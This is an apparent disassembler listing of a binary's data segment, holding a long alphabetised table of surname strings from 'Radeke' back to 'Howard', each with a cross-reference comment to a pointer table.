aRadeke		db 'Radeke',0           ; DATA XREF: seg002:0042FA04o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: seg002:0042FA00o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: seg002:0042F9FCo
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: seg002:0042F9F8o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: seg002:0042F9F4o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: seg002:0042F9F0o
aPugh		db 'Pugh',0             ; DATA XREF: seg002:0042F9ECo
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: seg002:0042F9E8o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: seg002:0042F9E4o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: seg002:0042F9E0o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: seg002:0042F9DCo
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: seg002:0042F9D8o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: seg002:0042F9D4o
aPreucel	db 'Preucel',0          ; DATA XREF: seg002:0042F9D0o
aPresper	db 'Presper',0          ; DATA XREF: seg002:0042F9CCo
aPowers		db 'Powers',0           ; DATA XREF: seg002:0042F9C8o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: seg002:0042F9C4o
aPoma		db 'Poma',0             ; DATA XREF: seg002:0042F9C0o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: seg002:0042F9BCo
aPolanyi	db 'Polanyi',0          ; DATA XREF: seg002:0042F9B8o
aPolak		db 'Polak',0            ; DATA XREF: seg002:0042F9B4o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: seg002:0042F9B0o
aPointer	db 'Pointer',0          ; DATA XREF: seg002:0042F9ACo
aPoincaire	db 'Poincaire',0        ; DATA XREF: seg002:0042F9A8o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: seg002:0042F9A4o
		align 10h
aPo		db 'Po',0               ; DATA XREF: seg002:0042F9A0o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: seg002:0042F99Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: seg002:0042F998o
aPlant		db 'Plant',0            ; DATA XREF: seg002:0042F994o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: seg002:0042F990o
aPinot		db 'Pinot',0            ; DATA XREF: seg002:0042F98Co
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: seg002:0042F988o
aPfister	db 'Pfister',0          ; DATA XREF: seg002:0042F984o
aPettit		db 'Pettit',0           ; DATA XREF: seg002:0042F980o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: seg002:0042F97Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: seg002:0042F978o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: seg002:0042F974o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: seg002:0042F970o
		align 10h
aPerone		db 'Perone',0           ; DATA XREF: seg002:0042F96Co
		align 4
aPerna		db 'Perna',0            ; DATA XREF: seg002:0042F968o
		align 10h
aPerlman	db 'Perlman',0          ; DATA XREF: seg002:0042F964o
aPerlak		db 'Perlak',0           ; DATA XREF: seg002:0042F960o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: seg002:0042F95Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: seg002:0042F958o
aPenny		db 'Penny',0            ; DATA XREF: seg002:0042F954o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: seg002:0042F950o
aPederson	db 'Pederson',0         ; DATA XREF: seg002:0042F94Co
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: seg002:0042F948o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: seg002:0042F944o
aPaynter	db 'Paynter',0          ; DATA XREF: seg002:0042F940o
aPawloski	db 'Pawloski',0         ; DATA XREF: seg002:0042F93Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: seg002:0042F938o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: seg002:0042F934o
aPattullo	db 'Pattullo',0         ; DATA XREF: seg002:0042F930o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: seg002:0042F92Co
aPatefield	db 'Patefield',0        ; DATA XREF: seg002:0042F928o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: seg002:0042F924o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: seg002:0042F920o
		align 4
aParris		db 'Parris',0           ; DATA XREF: seg002:0042F91Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: seg002:0042F918o
aPaoletti	db 'Paoletti',0         ; DATA XREF: seg002:0042F914o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: seg002:0042F910o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: seg002:0042F90Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: seg002:0042F908o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: seg002:0042F904o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: seg002:0042F900o
aPalepu		db 'Palepu',0           ; DATA XREF: seg002:0042F8FCo
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: seg002:0042F8F8o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: seg002:0042F8F4o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: seg002:0042F8F0o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: seg002:0042F8ECo
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: seg002:0042F8E8o
aOtten		db 'Otten',0            ; DATA XREF: seg002:0042F8E4o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: seg002:0042F8E0o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: seg002:0042F8DCo
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: seg002:0042F8D8o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: seg002:0042F8D4o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: seg002:0042F8D0o
aOray		db 'Oray',0             ; DATA XREF: seg002:0042F8CCo
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: seg002:0042F8C8o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: seg002:0042F8C4o
aOman		db 'Oman',0             ; DATA XREF: seg002:0042F8C0o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: seg002:0042F8BCo
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: seg002:0042F8B8o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: seg002:0042F8B4o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: seg002:0042F8B0o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: seg002:0042F8ACo
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: seg002:0042F8A8o
aOh		db 'Oh',0               ; DATA XREF: seg002:0042F8A4o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: seg002:0042F8A0o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: seg002:0042F89Co
aNuzum		db 'Nuzum',0            ; DATA XREF: seg002:0042F898o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: seg002:0042F894o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: seg002:0042F890o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: seg002:0042F88Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: seg002:0042F888o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: seg002:0042F884o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: seg002:0042F880o
		align 4
aNg		db 'Ng',0               ; DATA XREF: seg002:0042F87Co
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: seg002:0042F878o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: seg002:0042F874o
aNeuman		db 'Neuman',0           ; DATA XREF: seg002:0042F870o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: seg002:0042F86Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: seg002:0042F868o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: seg002:0042F864o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: seg002:0042F860o
aNaviaux	db 'Naviaux',0          ; DATA XREF: seg002:0042F85Co
aNardone	db 'Nardone',0          ; DATA XREF: seg002:0042F858o
aNardi		db 'Nardi',0            ; DATA XREF: seg002:0042F854o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: seg002:0042F850o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: seg002:0042F84Co
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: seg002:0042F848o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: seg002:0042F844o
aMulroy		db 'Mulroy',0           ; DATA XREF: seg002:0042F840o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: seg002:0042F83Co
aMugnai		db 'Mugnai',0           ; DATA XREF: seg002:0042F838o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: seg002:0042F834o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: seg002:0042F830o
aMotooka	db 'Motooka',0          ; DATA XREF: seg002:0042F82Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: seg002:0042F828o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: seg002:0042F824o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: seg002:0042F820o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: seg002:0042F81Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: seg002:0042F818o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: seg002:0042F814o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: seg002:0042F810o
aMorani		db 'Morani',0           ; DATA XREF: seg002:0042F80Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: seg002:0042F808o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: seg002:0042F804o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: seg002:0042F800o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: seg002:0042F7FCo
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: seg002:0042F7F8o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: seg002:0042F7F4o
aModestino	db 'Modestino',0        ; DATA XREF: seg002:0042F7F0o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: seg002:0042F7ECo
aMittal		db 'Mittal',0           ; DATA XREF: seg002:0042F7E8o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: seg002:0042F7E4o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: seg002:0042F7E0o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: seg002:0042F7DCo
aMini		db 'Mini',0             ; DATA XREF: seg002:0042F7D8o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: seg002:0042F7D4o
		align 4
aMills		db 'Mills',0            ; DATA XREF: seg002:0042F7D0o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: seg002:0042F7CCo
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: seg002:0042F7C8o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: seg002:0042F7C4o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: seg002:0042F7C0o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: seg002:0042F7BCo
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: seg002:0042F7B8o
aMerz		db 'Merz',0             ; DATA XREF: seg002:0042F7B4o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: seg002:0042F7B0o
aMerminod	db 'Merminod',0         ; DATA XREF: seg002:0042F7ACo
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: seg002:0042F7A8o
aMerikoski	db 'Merikoski',0        ; DATA XREF: seg002:0042F7A4o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: seg002:0042F7A0o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: seg002:0042F79Co
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: seg002:0042F798o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: seg002:0042F794o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: seg002:0042F790o
aMclaren	db 'Mclaren',0          ; DATA XREF: seg002:0042F78Co
aMclane		db 'Mclane',0           ; DATA XREF: seg002:0042F788o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: seg002:0042F784o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: seg002:0042F780o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: seg002:0042F77Co
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: seg002:0042F778o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: seg002:0042F774o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: seg002:0042F770o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: seg002:0042F76Co
aMcdowell	db 'Mcdowell',0         ; DATA XREF: seg002:0042F768o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: seg002:0042F764o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: seg002:0042F760o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: seg002:0042F75Co
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: seg002:0042F758o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: seg002:0042F754o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: seg002:0042F750o
aMay		db 'May',0              ; DATA XREF: seg002:0042F74Co
aMauzy		db 'Mauzy',0            ; DATA XREF: seg002:0042F748o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: seg002:0042F744o
aMatsukata	db 'Matsukata',0        ; DATA XREF: seg002:0042F740o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: seg002:0042F73Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: seg002:0042F738o
aMass		db 'Mass',0             ; DATA XREF: seg002:0042F734o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: seg002:0042F730o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: seg002:0042F72Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: seg002:0042F728o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: seg002:0042F724o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: seg002:0042F720o
aMargetts	db 'Margetts',0         ; DATA XREF: seg002:0042F71Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: seg002:0042F718o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: seg002:0042F714o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: seg002:0042F710o
		align 4
aMarch		db 'March',0            ; DATA XREF: seg002:0042F70Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: seg002:0042F708o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: seg002:0042F704o
aMandel		db 'Mandel',0           ; DATA XREF: seg002:0042F700o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: seg002:0042F6FCo
aMalova		db 'Malova',0           ; DATA XREF: seg002:0042F6F8o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: seg002:0042F6F4o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: seg002:0042F6F0o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: seg002:0042F6ECo
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: seg002:0042F6E8o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: seg002:0042F6E4o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: seg002:0042F6E0o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: seg002:0042F6DCo
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: seg002:0042F6D8o
aMacy		db 'Macy',0             ; DATA XREF: seg002:0042F6D4o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: seg002:0042F6D0o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: seg002:0042F6CCo
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: seg002:0042F6C8o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: seg002:0042F6C4o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: seg002:0042F6C0o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: seg002:0042F6BCo
		align 4
aMa		db 'Ma',0               ; DATA XREF: seg002:0042F6B8o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: seg002:0042F6B4o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: seg002:0042F6B0o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: seg002:0042F6ACo
aLuoma		db 'Luoma',0            ; DATA XREF: seg002:0042F6A8o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: seg002:0042F6A4o
aLuecke		db 'Luecke',0           ; DATA XREF: seg002:0042F6A0o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: seg002:0042F69Co
aLuciano	db 'Luciano',0          ; DATA XREF: seg002:0042F698o
aLucas		db 'Lucas',0            ; DATA XREF: seg002:0042F694o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: seg002:0042F690o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: seg002:0042F68Co
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: seg002:0042F688o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: seg002:0042F684o
aLoss		db 'Loss',0             ; DATA XREF: seg002:0042F680o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: seg002:0042F67Co
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: seg002:0042F678o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: seg002:0042F674o
aLivolsi	db 'Livolsi',0          ; DATA XREF: seg002:0042F670o
aLivi		db 'Livi',0             ; DATA XREF: seg002:0042F66Co
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: seg002:0042F668o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: seg002:0042F664o
		align 4
aLittle		db 'Little',0           ; DATA XREF: seg002:0042F660o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: seg002:0042F65Co
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: seg002:0042F658o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: seg002:0042F654o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: seg002:0042F650o
aLine		db 'Line',0             ; DATA XREF: seg002:0042F64Co
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: seg002:0042F648o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: seg002:0042F644o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: seg002:0042F640o
aLim		db 'Lim',0              ; DATA XREF: seg002:0042F63Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: seg002:0042F638o
		align 4
aLight		db 'Light',0            ; DATA XREF: seg002:0042F634o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: seg002:0042F630o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: seg002:0042F62Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: seg002:0042F628o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: seg002:0042F624o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: seg002:0042F620o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: seg002:0042F61Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: seg002:0042F618o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: seg002:0042F614o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: seg002:0042F610o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: seg002:0042F60Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: seg002:0042F608o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: seg002:0042F604o
aLashley	db 'Lashley',0          ; DATA XREF: seg002:0042F600o
aLaserna	db 'Laserna',0          ; DATA XREF: seg002:0042F5FCo
aLanzit		db 'Lanzit',0           ; DATA XREF: seg002:0042F5F8o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: seg002:0042F5F4o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: seg002:0042F5F0o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: seg002:0042F5ECo
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: seg002:0042F5E8o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: seg002:0042F5E4o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: seg002:0042F5E0o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: seg002:0042F5DCo
aLa		db 'La',0               ; DATA XREF: seg002:0042F5D8o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: seg002:0042F5D4o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: seg002:0042F5D0o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: seg002:0042F5CCo
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: seg002:0042F5C8o
aKrysiak	db 'Krysiak',0          ; DATA XREF: seg002:0042F5C4o
aKroemer	db 'Kroemer',0          ; DATA XREF: seg002:0042F5C0o
aKraus		db 'Kraus',0            ; DATA XREF: seg002:0042F5BCo
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: seg002:0042F5B8o
aKrailo		db 'Krailo',0           ; DATA XREF: seg002:0042F5B4o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: seg002:0042F5B0o
aKovaks		db 'Kovaks',0           ; DATA XREF: seg002:0042F5ACo
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: seg002:0042F5A8o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: seg002:0042F5A4o
		align 4
aKool		db 'Kool',0             ; DATA XREF: seg002:0042F5A0o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: seg002:0042F59Co
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: seg002:0042F598o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: seg002:0042F594o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: seg002:0042F590o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: seg002:0042F58Co
		align 4
aKoch		db 'Koch',0             ; DATA XREF: seg002:0042F588o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: seg002:0042F584o
aKnuff		db 'Knuff',0            ; DATA XREF: seg002:0042F580o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: seg002:0042F57Co
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: seg002:0042F578o
aKling		db 'Kling',0            ; DATA XREF: seg002:0042F574o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: seg002:0042F570o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: seg002:0042F56Co
aKleiman	db 'Kleiman',0          ; DATA XREF: seg002:0042F568o
aKleckner	db 'Kleckner',0         ; DATA XREF: seg002:0042F564o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: seg002:0042F560o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: seg002:0042F55Co
aKippenberger	db 'Kippenberger',0     ; DATA XREF: seg002:0042F558o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: seg002:0042F554o
aKindall	db 'Kindall',0          ; DATA XREF: seg002:0042F550o
aKimura		db 'Kimura',0           ; DATA XREF: seg002:0042F54Co
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: seg002:0042F548o
aKimmel		db 'Kimmel',0           ; DATA XREF: seg002:0042F544o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: seg002:0042F540o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: seg002:0042F53Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: seg002:0042F538o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: seg002:0042F534o
aKemsley	db 'Kemsley',0          ; DATA XREF: seg002:0042F530o
aKempton	db 'Kempton',0          ; DATA XREF: seg002:0042F52Co
aKelsey		db 'Kelsey',0           ; DATA XREF: seg002:0042F528o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: seg002:0042F524o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: seg002:0042F520o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: seg002:0042F51Co
aKeenan		db 'Keenan',0           ; DATA XREF: seg002:0042F518o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: seg002:0042F514o
aKawachi	db 'Kawachi',0          ; DATA XREF: seg002:0042F510o
aKasten		db 'Kasten',0           ; DATA XREF: seg002:0042F50Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: seg002:0042F508o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: seg002:0042F504o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: seg002:0042F500o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: seg002:0042F4FCo
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: seg002:0042F4F8o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: seg002:0042F4F4o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: seg002:0042F4F0o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: seg002:0042F4ECo
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: seg002:0042F4E8o
aKafadar	db 'Kafadar',0          ; DATA XREF: seg002:0042F4E4o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: seg002:0042F4E0o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: seg002:0042F4DCo
aJulious	db 'Julious',0          ; DATA XREF: seg002:0042F4D8o
aJuliano	db 'Juliano',0          ; DATA XREF: seg002:0042F4D4o
aJucks		db 'Jucks',0            ; DATA XREF: seg002:0042F4D0o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: seg002:0042F4CCo
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: seg002:0042F4C8o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: seg002:0042F4C4o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: seg002:0042F4C0o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: seg002:0042F4BCo
aJewett		db 'Jewett',0           ; DATA XREF: seg002:0042F4B8o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: seg002:0042F4B4o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: seg002:0042F4B0o
aJellis		db 'Jellis',0           ; DATA XREF: seg002:0042F4ACo
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: seg002:0042F4A8o
aJay		db 'Jay',0              ; DATA XREF: seg002:0042F4A4o
aJarrell	db 'Jarrell',0          ; DATA XREF: seg002:0042F4A0o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: seg002:0042F49Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: seg002:0042F498o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: seg002:0042F494o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: seg002:0042F490o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: seg002:0042F48Co
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: seg002:0042F488o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: seg002:0042F484o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: seg002:0042F480o
aJacenko	db 'Jacenko',0          ; DATA XREF: seg002:0042F47Co
aIyer		db 'Iyer',0             ; DATA XREF: seg002:0042F478o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: seg002:0042F474o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: seg002:0042F470o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: seg002:0042F46Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: seg002:0042F468o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: seg002:0042F464o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: seg002:0042F460o
aIgarashi	db 'Igarashi',0         ; DATA XREF: seg002:0042F45Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: seg002:0042F458o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: seg002:0042F454o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: seg002:0042F450o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: seg002:0042F44Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: seg002:0042F448o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: seg002:0042F444o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: seg002:0042F440o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: seg002:0042F43Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: seg002:0042F438o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: seg002:0042F434o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: seg002:0042F430o
aHoward		db 'Howard',0           ; DATA XREF: seg002:0042F42Co
		align 4
